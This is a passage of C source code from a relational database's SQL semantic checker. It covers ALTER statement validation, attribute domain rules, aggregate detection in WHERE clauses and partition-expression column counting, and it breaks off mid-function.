pt_find_aggregate_analytic_in_where (PARSER_CONTEXT * parser, PT_NODE * node)
{
PT_NODE *find = NULL;
if (node == NULL)
{
return NULL;
}
switch (node->node_type)
{
case PT_DO:
find = pt_find_aggregate_analytic_in_where (parser, node->info.do_.expr);
break;
case PT_SET_SESSION_VARIABLES:
find = pt_find_aggregate_analytic_in_where (parser, node->info.set_variables.assignments);
break;
case PT_DELETE:
find = pt_find_aggregate_analytic_in_where (parser, node->info.delete_.search_cond);
break;
case PT_SELECT:
find = pt_find_aggregate_analytic_in_where (parser, node->info.query.q.select.where);
break;
case PT_UNION:
case PT_DIFFERENCE:
case PT_INTERSECTION:
/* search in args recursively */
find = pt_find_aggregate_analytic_in_where (parser, node->info.query.q.union_.arg1);
if (find)
{
break;
}
find = pt_find_aggregate_analytic_in_where (parser, node->info.query.q.union_.arg2);
break;
case PT_FUNCTION:
if (pt_is_aggregate_function (parser, node) || pt_is_analytic_function (parser, node))
{
find = node;
break;
}
/* FALLTHRU */
case PT_EXPR:
case PT_MERGE:
case PT_INSERT:
/* walk tree to search */
(void) parser_walk_tree (parser, node, pt_find_aggregate_analytic_pre, &find, pt_find_aggregate_analytic_post,
&find);
break;
default:
/* for the rest node types, no need to search */
break;
}
return find;
}
/*
* pt_check_attribute_domain () - enforce composition hierarchy restrictions
* on a given list of attribute type definitions
* return: none
* parser(in): the parser context
* attr_defs(in): a list of PT_ATTR_DEF nodes
* class_type(in): class, vclass, or proxy
* self(in): name of new class (for create case) or NULL (for alter case)
* reuse_oid(in): whether the class being created or altered is marked as
* reusable OID (non-referable)
* stmt(in): current statement
*
* Note :
* - enforce the composition hierarchy rules:
* 1. enforce the (temporary?) restriction that no proxy may have an
* attribute whose type is heterogeneous set/multiset/sequence of
* some object and something else (homogeneous sets/sequences are OK)
* 2. no attribute may have a domain of set(vclass), multiset(vclass)
* or sequence(vclass).
* 3. an attribute of a class may NOT have a domain of a vclass or a proxy
* but may still have a domain of another class
* 4. an attribute of a vclass may have a domain of a vclass or class
* 5. an attribute of a proxy may have a domain of another proxy but not
* a class or vclass.
* 6. an attribute cannot have a reusable OID class (a non-referable
* class) as a domain, neither directly nor as the domain of a set
* - 'create class c (a c)' is not an error but a feature.
*/
static void
pt_check_attribute_domain (PARSER_CONTEXT * parser, PT_NODE * attr_defs, PT_MISC_TYPE class_type, const char *self,
const bool reuse_oid, PT_NODE * stmt)
{
PT_NODE *def, *att, *dtyp, *sdtyp;
DB_OBJECT *cls;
const char *att_nam, *typ_nam, *styp_nam;
for (def = attr_defs; def != NULL && def->node_type == PT_ATTR_DEF; def = def->next)
{
att = def->info.attr_def.attr_name;
att_nam = att->info.name.original;
/* if it is an auto_increment column, check its domain */
if (def->info.attr_def.auto_increment != NULL)
{
dtyp = def->data_type;
switch (def->type_enum)
{
case PT_TYPE_INTEGER:
case PT_TYPE_BIGINT:
case PT_TYPE_SMALLINT:
break;
case PT_TYPE_NUMERIC:
if (dtyp->info.data_type.dec_precision != 0)
{
PT_ERRORmf (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_AUTO_INCREMENT_DOMAIN,
att_nam);
}
break;
default:
PT_ERRORmf (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_AUTO_INCREMENT_DOMAIN,
att_nam);
}
}
/* we don't allow sets/multisets/sequences of vclasses or reusable OID classes */
if (pt_is_set_type (def))
{
for (dtyp = def->data_type; dtyp != NULL; dtyp = dtyp->next)
{
if ((dtyp->type_enum == PT_TYPE_OBJECT) && (sdtyp = dtyp->info.data_type.entity)
&& (sdtyp->node_type == PT_NAME) && (styp_nam = sdtyp->info.name.original))
{
cls = db_find_class (styp_nam);
if (cls != NULL)
{
if (db_is_vclass (cls) > 0)
{
PT_ERRORm (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_WANT_NO_VOBJ_IN_SETS);
break;
}
if (sm_is_reuse_oid_class (cls))
{
PT_ERRORmf (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NON_REFERABLE_VIOLATION,
styp_nam);
break;
}
}
else if (self != NULL && intl_identifier_casecmp (self, styp_nam) == 0)
{
if (reuse_oid)
{
PT_ERRORmf (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NON_REFERABLE_VIOLATION,
styp_nam);
break;
}
}
}
}
}
if (def->type_enum == PT_TYPE_OBJECT && def->data_type && def->data_type->node_type == PT_DATA_TYPE
&& (dtyp = def->data_type->info.data_type.entity) != NULL && dtyp->node_type == PT_NAME
&& (typ_nam = dtyp->info.name.original) != NULL)
{
/* typ_nam must be a class in the database */
cls = db_find_class (typ_nam);
if (!cls)
{
if (self != NULL && intl_identifier_casecmp (self, typ_nam) == 0)
{
if (reuse_oid)
{
PT_ERRORmf (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NON_REFERABLE_VIOLATION,
typ_nam);
}
}
else
{
PT_ERRORmf (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_IS_NOT_DEFINED, typ_nam);
}
}
else
{
/* if dtyp is 'user.class' then check that 'user' owns 'class' */
dtyp->info.name.db_object = cls;
pt_check_user_owns_class (parser, dtyp);
if (sm_is_reuse_oid_class (cls))
{
PT_ERRORmf (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NON_REFERABLE_VIOLATION,
typ_nam);
}
switch (class_type)
{
case PT_CLASS:
/* an attribute of a class must be of type class */
if (db_is_vclass (cls) > 0)
{
PT_ERRORmf (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CAN_NOT_BE_VCLASS, att_nam);
}
break;
case PT_VCLASS:
/* an attribute of a vclass must be of type vclass or class */
break;
default:
break;
}
}
}
if (def->type_enum == PT_TYPE_ENUMERATION)
{
(void) pt_check_enum_data_type (parser, def->data_type);
}
#if defined (ENABLE_UNUSED_FUNCTION) /* to disable TEXT */
/* if a defined attr is TEXT, rewrite the definition */
if (def->info.attr_def.attr_type == PT_NORMAL && PT_NAME_INFO_IS_FLAGED (att, PT_NAME_INFO_EXTERNAL))
{
if ((class_type != PT_CLASS) || (def->info.attr_def.data_default != NULL)
|| (def->info.attr_def.constrain_not_null == 1))
{
/* prevent vclass definition or set default */
er_set (ER_WARNING_SEVERITY, ARG_FILE_LINE, ER_REGU_NOT_IMPLEMENTED, 1, rel_major_release_string ());
PT_ERROR (parser, stmt, er_msg ());
return;
}
if (stmt->node_type == PT_CREATE_ENTITY)
{
stmt->info.create_entity.internal_stmts =
pt_append_statements_on_add_attribute (parser, stmt->info.create_entity.internal_stmts, stmt, self,
att_nam, def);
if (stmt->info.create_entity.internal_stmts == NULL)
{
return;
}
}
else if (stmt->node_type == PT_ALTER)
{
PT_NODE *entity_nam;
const char *cls_nam;
entity_nam = stmt->info.alter.entity_name;
cls_nam = entity_nam->info.name.original;
stmt->info.alter.internal_stmts =
pt_append_statements_on_add_attribute (parser, stmt->info.alter.internal_stmts, stmt, cls_nam, att_nam,
def);
if (stmt->info.alter.internal_stmts == NULL)
{
return;
}
}
}
#endif /* ENABLE_UNUSED_FUNCTION */
}
}
/*
* pt_check_mutable_attributes () - assert that a given list of attributes are
* indigenous to a given class
* return: none
* parser(in): the parser context
* cls(in): a class object
* attr_defs(in): a list of attribute type definitions
*/
static void
pt_check_mutable_attributes (PARSER_CONTEXT * parser, DB_OBJECT * cls, PT_NODE * attr_defs)
{
PT_NODE *def, *att;
const char *att_nam, *cls_nam;
DB_ATTRIBUTE *db_att;
DB_OBJECT *super;
assert (parser != NULL);
if (!cls || (cls_nam = db_get_class_name (cls)) == NULL)
{
return;
}
for (def = attr_defs; def != NULL && def->node_type == PT_ATTR_DEF; def = def->next)
{
att = def->info.attr_def.attr_name;
att_nam = att->info.name.original;
db_att = db_get_attribute_force (cls, att_nam);
if (!db_att)
{
PT_ERRORmf2 (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NOT_ATTRIBUTE_OF, att_nam, cls_nam);
}
else
{
super = db_attribute_class (db_att);
if (super != cls)
PT_ERRORmf2 (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_HEIR_CANT_CHANGE_IT, att_nam,
db_get_class_name (super));
}
}
}
/*
* pt_check_alter () - semantic check an alter statement
* return: none
* parser(in): the parser context used to derive the statement
* alter(in): an alter statement
*/
static void
pt_check_alter (PARSER_CONTEXT * parser, PT_NODE * alter)
{
DB_OBJECT *db, *super;
SM_CLASS *class_ = NULL;
PT_ALTER_CODE code;
PT_MISC_TYPE type;
PT_NODE *name, *sup, *att, *qry, *attr;
const char *cls_nam, *sup_nam, *att_nam;
DB_ATTRIBUTE *db_att;
DB_METHOD *db_mthd;
int is_meta;
int is_partitioned = 0, ss_partition, trigger_involved = 0;
char keyattr[DB_MAX_IDENTIFIER_LENGTH + 1];
#if defined (ENABLE_UNUSED_FUNCTION) /* to disable TEXT */
DB_OBJECT *dom_cls;
char *drop_name_list = NULL;
#endif /* ENABLE_UNUSED_FUNCTION */
bool reuse_oid = false;
int collation_id = -1;
bool for_update;
/* look up the class */
name = alter->info.alter.entity_name;
cls_nam = name->info.name.original;
if (alter->info.alter.code == PT_CHANGE_ATTR || alter->info.alter.code == PT_ADD_INDEX_CLAUSE)
{
for_update = false;
}
else
{
for_update = true;
}
/* We cannot change the schema of a class by using synonym names. */
if (db_find_synonym (cls_nam) != NULL)
{
PT_ERRORmf (parser, alter->info.alter.entity_name, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_CLASS_DOES_NOT_EXIST, cls_nam);
return;
}
else
{
/* db_find_synonym () == NULL */
ASSERT_ERROR ();
if (er_errid () == ER_SYNONYM_NOT_EXIST)
{
er_clear ();
}
else
{
return;
}
}
db = pt_find_class (parser, name, for_update);
if (!db)
{
PT_ERRORmf (parser, alter->info.alter.entity_name, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_CLASS_DOES_NOT_EXIST, cls_nam);
return;
}
if (sm_get_class_collation (db, &collation_id) != NO_ERROR)
{
PT_ERROR (parser, alter, er_msg ());
return;
}
reuse_oid = sm_is_reuse_oid_class (db);
/* attach object */
name->info.name.db_object = db;
pt_check_user_owns_class (parser, name);
/* check that class type is what it's supposed to be */
if (alter->info.alter.entity_type == PT_MISC_DUMMY)
{
alter->info.alter.entity_type = pt_get_class_type (parser, db);
}
else
{
type = alter->info.alter.entity_type;
if ((type == PT_CLASS && db_is_class (db) <= 0) || (type == PT_VCLASS && db_is_vclass (db) <= 0))
{
PT_ERRORmf2 (parser, alter, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_IS_NOT_A, cls_nam,
pt_show_misc_type (type));
return;
}
}
type = alter->info.alter.entity_type;
if (do_is_partitioned_subclass (&is_partitioned, cls_nam, keyattr))
{
PT_ERRORmf (parser, alter->info.alter.entity_name, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_INVALID_PARTITION_REQUEST, cls_nam);
return;
}
code = alter->info.alter.code;
switch (code)
{
case PT_ADD_ATTR_MTHD:
if (type == PT_VCLASS)
{
for (attr = alter->info.alter.alter_clause.attr_mthd.attr_def_list; attr; attr = attr->next)
{
if (attr->info.attr_def.auto_increment != NULL)
{
PT_ERRORm (parser, alter, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_VCLASS_ATT_CANT_BE_AUTOINC);
}
}
}
for (attr = alter->info.alter.alter_clause.attr_mthd.attr_def_list; attr; attr = attr->next)
{
if (PT_HAS_COLLATION (attr->type_enum) && attr->node_type == PT_ATTR_DEF)
{
if (pt_attr_check_default_cs_coll (parser, attr, -1, collation_id) != NO_ERROR)
{
return;
}
}
}
pt_check_attribute_domain (parser, alter->info.alter.alter_clause.attr_mthd.attr_def_list, type, NULL, reuse_oid,
alter);
for (attr = alter->info.alter.alter_clause.attr_mthd.attr_def_list; attr; attr = attr->next)
{
attr->info.attr_def.data_default = pt_check_data_default (parser, attr->info.attr_def.data_default);
}
break;
case PT_ALTER_DEFAULT:
for (attr = alter->info.alter.alter_clause.ch_attr_def.attr_name_list; attr; attr = attr->next)
{
att_nam = attr->info.name.original;
is_meta = (attr->info.name.meta_class == PT_META_ATTR);
db_att =
(DB_ATTRIBUTE *) (is_meta ? db_get_class_attribute (db, att_nam) : db_get_attribute_force (db, att_nam));
if (db_att != NULL && (db_att->auto_increment != NULL || db_att->header.name_space == ID_SHARED_ATTRIBUTE))
{
PT_ERRORm (parser, alter, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_INVALID_AUTO_INCREMENT_ON_DEFAULT_SHARED);
return;
}
}
alter->info.alter.alter_clause.ch_attr_def.data_default_list =
pt_check_data_default (parser, alter->info.alter.alter_clause.ch_attr_def.data_default_list);
/* FALL THRU */
case PT_MODIFY_DEFAULT:
pt_resolve_default_external (parser, alter);
break;
case PT_CHANGE_ATTR:
{
PT_NODE *const att_def = alter->info.alter.alter_clause.attr_mthd.attr_def_list;
if (att_def->next != NULL || att_def->node_type != PT_ATTR_DEF)
{
assert (false);
break;
}
if (alter->info.alter.entity_type != PT_CLASS)
{
PT_ERRORm (parser, alter, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ALTER_CHANGE_ONLY_TABLE);
break;
}
for (attr = alter->info.alter.alter_clause.attr_mthd.attr_def_list; attr; attr = attr->next)
{
if (PT_HAS_COLLATION (attr->type_enum) && attr->node_type == PT_ATTR_DEF)
{
if (pt_attr_check_default_cs_coll (parser, attr, -1, collation_id) != NO_ERROR)
{
return;
}
}
}
pt_check_attribute_domain (parser, att_def, type, NULL, reuse_oid, alter);
for (attr = alter->info.alter.alter_clause.attr_mthd.attr_def_list; attr; attr = attr->next)
{
attr->info.attr_def.data_default = pt_check_data_default (parser, attr->info.attr_def.data_default);
}
}
break;
case PT_MODIFY_ATTR_MTHD:
pt_check_attribute_domain (parser, alter->info.alter.alter_clause.attr_mthd.attr_def_list, type, NULL, reuse_oid,
alter);
pt_check_mutable_attributes (parser, db, alter->info.alter.alter_clause.attr_mthd.attr_def_list);
for (attr = alter->info.alter.alter_clause.attr_mthd.attr_def_list; attr; attr = attr->next)
{
attr->info.attr_def.data_default = pt_check_data_default (parser, attr->info.attr_def.data_default);
}
break;
case PT_RENAME_ATTR_MTHD:
if (is_partitioned && keyattr[0] && (alter->info.alter.alter_clause.rename.element_type == PT_ATTRIBUTE))
{
if (!strncmp (alter->info.alter.alter_clause.rename.old_name->info.name.original, keyattr,
DB_MAX_IDENTIFIER_LENGTH))
{
PT_ERRORmf (parser, alter->info.alter.alter_clause.rename.old_name, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_PARTITION_KEY_COLUMN, keyattr);
}
}
break;
case PT_DROP_ATTR_MTHD:
for (att = alter->info.alter.alter_clause.attr_mthd.attr_mthd_name_list; att != NULL && att->node_type == PT_NAME;
att = att->next)
{
att_nam = att->info.name.original;
is_meta = (att->info.name.meta_class == PT_META_ATTR);
db_att =
(DB_ATTRIBUTE *) (is_meta ? db_get_class_attribute (db, att_nam) : db_get_attribute_force (db, att_nam));
if (db_att)
{
/* an inherited attribute can not be dropped by the heir */
super = (DB_OBJECT *) db_attribute_class (db_att);
if (super != db)
{
PT_ERRORmf2 (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_HEIR_CANT_CHANGE_IT, att_nam,
db_get_class_name (super));
}
if (is_partitioned && keyattr[0])
{
if (!strncmp (att_nam, keyattr, DB_MAX_IDENTIFIER_LENGTH))
{
PT_ERRORmf (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_PARTITION_KEY_COLUMN,
att_nam);
}
}
#if defined (ENABLE_UNUSED_FUNCTION) /* to disable TEXT */
/* if it is TEXT typed attr, collect name of the domain class */
if (sm_has_text_domain (db_att, 0))
{
dom_cls = (DB_OBJECT *) db_domain_class (db_attribute_domain (db_att));
if (drop_name_list != NULL)
{
drop_name_list = pt_append_string (parser, drop_name_list, ",");
}
drop_name_list = pt_append_string (parser, drop_name_list, db_get_class_name (dom_cls));
}
#endif /* ENABLE_UNUSED_FUNCTION */
}
else
{
/* perhaps it's a method */
db_mthd = (DB_METHOD *) (is_meta ? db_get_class_method (db, att_nam) : db_get_method (db, att_nam));
if (!db_mthd)
{
if (!is_meta)
{
PT_ERRORmf2 (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NOT_METHOD_OR_ATTR, att_nam,
cls_nam);
}
else
{
PT_ERRORmf2 (parser, att, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NOT_CLASS_ATTR_MTHD,
att_nam, cls_nam);
}
}
}
}
#if defined (ENABLE_UNUSED_FUNCTION) /* to disable TEXT */
/* create internal statements to drop the TEXT saving classes */
if (drop_name_list)
{
if ((alter->info.alter.internal_stmts =
pt_append_statements_on_drop_attributes (parser, alter->info.alter.internal_stmts,
drop_name_list)) == NULL)
{
PT_ERRORm (parser, alter, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_OUT_OF_MEMORY);
return;
}
}
#endif /* ENABLE_UNUSED_FUNCTION */
break;
case PT_APPLY_PARTITION:
case PT_REMOVE_PARTITION:
case PT_ANALYZE_PARTITION:
case PT_DROP_PARTITION:
case PT_ADD_PARTITION:
case PT_ADD_HASHPARTITION:
case PT_REORG_PARTITION:
case PT_COALESCE_PARTITION:
case PT_PROMOTE_PARTITION:
if (sm_class_has_triggers (db, &trigger_involved, TR_EVENT_ALL) == NO_ERROR)
{
if (trigger_involved)
{
PT_ERRORmf (parser, alter->info.alter.entity_name, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_CANT_PARTITION_MNG_TRIGGERS, cls_nam);
break;
}
}
if (code == PT_APPLY_PARTITION)
{
if (is_partitioned)
{
PT_ERRORmf (parser, alter->info.alter.entity_name, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_ALREADY_PARTITIONED_CLASS, cls_nam);
break;
}
if (alter->info.alter.alter_clause.partition.info)
{
pt_check_partitions (parser, alter, db);
}
}
else
{
if (!is_partitioned)
{
PT_ERRORmf (parser, alter->info.alter.entity_name, MSGCAT_SET_PARSER_SEMANTIC,
MSGCAT_SEMANTIC_IS_NOT_PARTITIONED_CLASS, cls_nam);
break;
}
if (code != PT_REMOVE_PARTITION)
{
pt_check_alter_partition (parser, alter, db);
}
}
break;
case PT_ADD_QUERY:
case PT_MODIFY_QUERY:
if (type != PT_CLASS && (qry = alter->info.alter.alter_clause.query.query) != NULL)
{
pt_validate_query_spec (parser, qry, db);
}
/* FALLTHRU */
case PT_DROP_QUERY:
if (type == PT_CLASS)
{
PT_ERRORmf (parser, alter, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_HAVE_NO_QUERY_SPEC, cls_nam);
}
break;
case PT_RESET_QUERY:
if (type == PT_CLASS)
{
/* only allow views, not classes here */
PT_ERRORmf (parser, alter, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_HAVE_NO_QUERY_SPEC, cls_nam);
}
else if (db_get_subclasses (db) != NULL || db_get_superclasses (db) != NULL)
{
/* disallow resetting query for views that have children or parents */
PT_ERRORmf (parser, alter, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ALTER_VIEW_IN_HIERARCHY, cls_nam);
}
else if ((qry = alter->info.alter.alter_clause.query.query) == NULL)
{
break;
}
else
{
pt_check_create_view (parser, alter);
}
break;
case PT_ADD_SUPCLASS:
case PT_DROP_SUPCLASS:
for (sup = alter->info.alter.super.sup_class_list; sup != NULL; sup = sup->next)
{
sup_nam = sup->info.name.original;
super = pt_find_class (parser, sup, true);
if (super == NULL)
{
PT_ERRORmf (parser, alter, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_CLASS_DOES_NOT_EXIST, sup_nam);
break;
}
if (sm_partitioned_class_type (super, &ss_partition, NULL, NULL) != NO_ERROR)
{
PT_ERROR (parser, alter, er_msg ());
break;
}
if (ss_partition == DB_PARTITION_CLASS)
{
PT_ERRORm (parser, alter, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_INVALID_PARTITION_REQUEST);
break;
}
if (code == PT_ADD_SUPCLASS)
{
#if defined (ENABLE_UNUSED_FUNCTION) /* to disable TEXT */
if (sm_has_text_domain (db_get_attributes (super), 1))
{
/* prevent to define it as a superclass */
er_set (ER_WARNING_SEVERITY, ARG_FILE_LINE, ER_REGU_NOT_IMPLEMENTED, 1, rel_major_release_string ());
PT_ERROR (parser, alter, er_msg ());
break;
}
#endif /* ENABLE_UNUSED_FUNCTION */
}
sup->info.name.db_object = super;
pt_check_user_owns_class (parser, sup);
if (code == PT_DROP_SUPCLASS)
{
if (db_is_superclass (super, db) <= 0)
{
PT_ERRORmf2 (parser, sup, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NOT_SUPERCLASS_OF, sup_nam,
cls_nam);
}
}
else /* PT_ADD_SUPCLASS */
{
switch (type)
{
case PT_CLASS:
if (db_is_class (super) <= 0)
{
PT_ERRORmf2 (parser, sup, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NONCLASS_PARENT, cls_nam,
sup_nam);
}
break;
case PT_VCLASS:
if (db_is_vclass (super) <= 0)
{
PT_ERRORmf2 (parser, sup, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_NONVCLASS_PARENT, cls_nam,
sup_nam);
}
break;
default:
break;
}
if (db_is_superclass (super, db))
{
PT_ERRORmf2 (parser, sup, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ALREADY_SUPERCLASS, sup_nam,
cls_nam);
}
if (db == super)
{
PT_ERRORmf (parser, sup, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_SUPERCLASS_CYCLE, sup_nam);
}
if (db_is_subclass (super, db))
{
PT_ERRORmf2 (parser, sup, MSGCAT_SET_PARSER_SEMANTIC, MSGCAT_SEMANTIC_ALREADY_SUBCLASS, sup_nam,
cls_nam);
}
}
}
break;
default:
break;
}
}
/*
* attribute_name () - return the name of this attribute
* return: printable name of att
* parser(in): the parser context
* att(in): an attribute
*/
static const char *
attribute_name (PARSER_CONTEXT * parser, PT_NODE * att)
{
if (!att)
{
return NULL;
}
if (att->node_type == PT_ATTR_DEF)
{
att = att->info.attr_def.attr_name;
}
if (att->node_type != PT_NAME)
{
return NULL;
}
return att->info.name.original;
}
/*
* is_shared_attribute () - is this a shared attribute?
* return: nonzero if att is a shared attribute
* parser(in): the parser context
* att(in): an attribute
*/
static int
is_shared_attribute (PARSER_CONTEXT * parser, PT_NODE * att)
{
if (!att)
{
return 0;
}
if (att->node_type == PT_ATTR_DEF)
{
if (att->info.attr_def.attr_type == PT_SHARED)
{
return 1;
}
if (!(att = att->info.attr_def.attr_name))
{
return 0;
}
}
if (att->node_type != PT_NAME)
{
return 0;
}
return (att->info.name.meta_class == PT_SHARED);
}
/*
* pt_find_partition_column_count_func () - find the number of the name node
* which can be used as the partition
* column
* return:
* func(in):
* name_node(in/out):
*/
static int
pt_find_partition_column_count_func (PT_NODE * func, PT_NODE ** name_node)
{
int cnt = 0, ret;
PT_NODE *f_arg;
if (func == NULL)
{
return 0;
}
if (func->node_type != PT_FUNCTION)
{
return 0;
}
switch (func->info.function.function_type)
{
case F_INSERT_SUBSTRING:
case F_ELT:
case F_JSON_ARRAY:
case F_JSON_ARRAY_APPEND:
case F_JSON_ARRAY_INSERT:
case F_JSON_CONTAINS:
case F_JSON_CONTAINS_PATH:
case F_JSON_DEPTH:
case F_JSON_EXTRACT:
case F_JSON_GET_ALL_PATHS:
case F_JSON_KEYS:
case F_JSON_INSERT:
case F_JSON_LENGTH:
case F_JSON_MERGE:
case F_JSON_MERGE_PATCH:
case F_JSON_OBJECT:
case F_JSON_PRETTY:
case F_JSON_QUOTE:
case F_JSON_REMOVE:
case F_JSON_REPLACE:
case F_JSON_SEARCH:
case F_JSON_SET:
case F_JSON_TYPE:
case F_JSON_UNQUOTE:
case F_JSON_VALID:
break;
default:
return 0; /* unsupported function */
}
f_arg = func->info.function.arg_list;
while (f_arg != NULL)
{
if (f_arg->node_type == PT_NAME)
{
cnt++;
*name_node = f_arg;
}
else if (f_arg->node_type == PT_EXPR)
{
ret = pt_find_partition_column_count (f_arg, name_node);
if (ret > 0)
{
cnt += ret;
}
}
f_arg = f_arg->next;
}
return cnt;
}
/*
* pt_find_partition_column_count () - find the number of the name node which
* can be used as the partition column
* return:
* expr(in):
* name_node(in/out):
*/
static int
pt_find_partition_column_count (PT_NODE * expr, PT_NODE ** name_node)
{
int cnt = 0, ret;
if (expr == NULL)
{
return 0;
}
if (expr->node_type != PT_EXPR)
{
return 0;
}
switch (expr->info.expr.op)
{
case PT_FUNCTION_HOLDER:
assert (expr->info.expr.arg1 != NULL);
return pt_find_partition_column_count_func (expr->info.expr.arg1, name_node);
case PT_PLUS:
case PT_MINUS:
case PT_TIMES:
case PT_DIVIDE:
case PT_UNARY_MINUS:
case PT_BIT_NOT:
case PT_BIT_AND:
case PT_BIT_OR:
case PT_BIT_XOR:
case PT_BITSHIFT_LEFT:
case PT_BITSHIFT_RIGHT:
case PT_DIV:
case PT_MOD:
case PT_ACOS:
case PT_ASIN:
case PT_ATAN:
case PT_ATAN2:
case PT_COS:
case PT_SIN:
case PT_TAN:
case PT_COT:
case PT_DEGREES:
case PT_RADIANS:
case PT_PI:
case PT_LN:
case PT_LOG2:
case PT_LOG10:
case PT_FORMAT:
case PT_DATE_FORMAT:
case PT_STR_TO_DATE:
case PT_CONCAT:
case PT_CONCAT_WS:
case PT_FIELD:
case PT_LEFT:
case PT_RIGHT:
case PT_LOCATE:
case PT_MID:
case PT_STRCMP:
case PT_REVERSE:
case PT_BIT_COUNT:
case PT_ADDDATE:
case PT_DATE_ADD:
case PT_SUBDATE:
case PT_DATE_SUB:
case PT_DATEF:
case PT_TIMEF:
case PT_DATEDIFF:
case PT_TIMEDIFF:
case PT_MODULUS:
case PT_POSITION:
case PT_FINDINSET:
case PT_SUBSTRING:
case PT_SUBSTRING_INDEX:
case PT_OCTET_LENGTH:
case PT_BIT_LENGTH:
case PT_CHAR_LENGTH:
case PT_LOWER:
case PT_UPPER:
case PT_HEX:
case PT_ASCII:
case PT_CONV:
case PT_BIN:
case PT_MD5:
case PT_TO_BASE64:
case PT_FROM_BASE64:
case PT_TRIM:
case PT_LTRIM:
case PT_RTRIM:
case PT_LIKE_LOWER_BOUND:
case PT_LIKE_UPPER_BOUND:
case PT_LPAD:
case PT_RPAD:
case PT_REPEAT:
case PT_SPACE:
case PT_REPLACE:
case PT_TRANSLATE:
case PT_ADD_MONTHS:
case PT_LAST_DAY:
case PT_MONTHS_BETWEEN:
case PT_SYS_DATE:
case PT_TO_DATE:
case PT_TO_NUMBER:
case PT_SYS_TIME:
case PT_CURRENT_DATE:
case PT_CURRENT_TIME:
case PT_SYS_TIMESTAMP:
case PT_CURRENT_TIMESTAMP:
case PT_SYS_DATETIME:
case PT_CURRENT_DATETIME:
case PT_UTC_TIME:
case PT_UTC_DATE:
case PT_TO_TIME:
case PT_TO_TIMESTAMP:
case PT_TO_DATETIME:
case PT_SCHEMA:
case PT_DATABASE:
case PT_VERSION:
case PT_TIME_FORMAT:
case PT_TIMESTAMP:
case PT_YEARF:
case PT_MONTHF:
case PT_DAYF:
case PT_DAYOFMONTH:
case PT_HOURF:
case PT_MINUTEF:
case PT_SECONDF:
case PT_QUARTERF:
case PT_WEEKDAY:
case PT_DAYOFWEEK:
case PT_DAYOFYEAR:
case PT_TODAYS:
case PT_FROMDAYS:
case PT_TIMETOSEC:
case PT_SECTOTIME:
case PT_WEEKF:
case PT_MAKEDATE:
case PT_MAKETIME:
case PT_ADDTIME:
case PT_UNIX_TIMESTAMP:
case PT_FROM_UNIXTIME:
case PT_EXTRACT:
case PT_TO_CHAR:
case PT_CAST:
case PT_STRCAT:
case PT_FLOOR:
case PT_CEIL:
case PT_POWER:
case PT_ROUND:
case PT_ABS:
case PT_LOG:
case PT_EXP:
case PT_SQRT:
case PT_TRUNC:
case PT_BIT_TO_BLOB:
case PT_BLOB_FROM_FILE:
case PT_BLOB_LENGTH:
case PT_BLOB_TO_BIT:
case PT_CHAR_TO_BLOB:
case PT_CHAR_TO_CLOB:
case PT_CLOB_FROM_FILE:
case PT_CLOB_LENGTH:
case PT_CLOB_TO_CHAR:
case PT_TYPEOF:
case PT_INET_ATON:
case PT_INET_NTOA:
case PT_DBTIMEZONE:
case PT_SESSIONTIMEZONE:
case PT_TZ_OFFSET:
case PT_FROM_TZ:
case PT_NEW_TIME:
case PT_TO_DATETIME_TZ:
case PT_TO_TIMESTAMP_TZ:
case PT_UTC_TIMESTAMP:
case PT_CONV_TZ:
break;
/* PT_DRAND and PT_DRANDOM are not supported regardless of whether a seed is given or not. because they produce
* random numbers of DOUBLE type. DOUBLE type is not allowed on partition expression. */
case PT_RAND:
case PT_RANDOM:
if (expr->info.expr.arg1 == NULL)
{
return -1;
}
break;
default:
return -1; /* unsupported expression */
}
if (expr->info.expr.arg1 != NULL)
{
if (expr->info.expr.arg1->node_type == PT_NAME)
{
*name_node = expr->info.expr.arg1;
cnt++;
}
else if (expr->info.expr.arg1->node_type == PT_VALUE)
{
